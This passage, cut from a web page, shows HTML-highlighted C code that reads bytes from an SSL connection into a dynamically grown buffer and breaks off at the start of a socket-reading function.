border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;</DIV>

<DIV class="line number219 index218 alt2" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;for(;;)</DIV>

<DIV class="line number220 index219 alt1" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;{</DIV>

<DIV class="line number221 index220 alt2" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;&nbsp;if (!rc)</DIV>

<DIV class="line number222 index221 alt1" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;&nbsp;&nbsp;rc = calloc(1024, sizeof (char) + 1);</DIV>

<DIV class="line number223 index222 alt2" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;&nbsp;else</DIV>

<DIV class="line number224 index223 alt1" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;&nbsp;&nbsp;if (count2 % 1024 == 0) {</DIV>

<DIV class="line number225 index224 alt2" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;rc = realloc(rc, (count2 + 1) * 1024 * sizeof (char) + 1);</DIV>

<DIV class="line number226 index225 alt1" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;&nbsp;&nbsp;}</DIV>

<DIV class="line number227 index226 alt2" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;&nbsp;&nbsp;received = SSL_read(c-&gt;handle, &amp;ch, 1);</DIV>

<DIV class="line number228 index227 alt1" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;&nbsp;&nbsp;if (received == 1) {</DIV>

<DIV class="line number229 index228 alt2" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;rc[count++] = ch;</DIV>

<DIV class="line number230 index229 alt1" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;count2++;</DIV>

<DIV class="line number231 index230 alt2" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if (count2 &gt; 1024*5)</DIV>

<DIV class="line number232 index231 alt1" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;</DIV>

<DIV class="line number233 index232 alt2" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;&nbsp;&nbsp;}</DIV>

<DIV class="line number234 index233 alt1" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;&nbsp;&nbsp;else</DIV>

<DIV class="line number235 index234 alt2" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;</DIV>

<DIV class="line number236 index235 alt1" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;&nbsp;}</DIV>

<DIV class="line number237 index236 alt2" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;return rc;</DIV>

<DIV class="line number238 index237 alt1" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">}</DIV>

<DIV class="line number239 index238 alt2" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;</DIV>

<DIV class="line number240 index239 alt1" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">char *read_(int sockfd)</DIV>

<DIV class="line number241 index240 alt2" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">{</DIV>

<DIV class="line number242 index241 alt1" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;char *rc = NULL;</DIV>

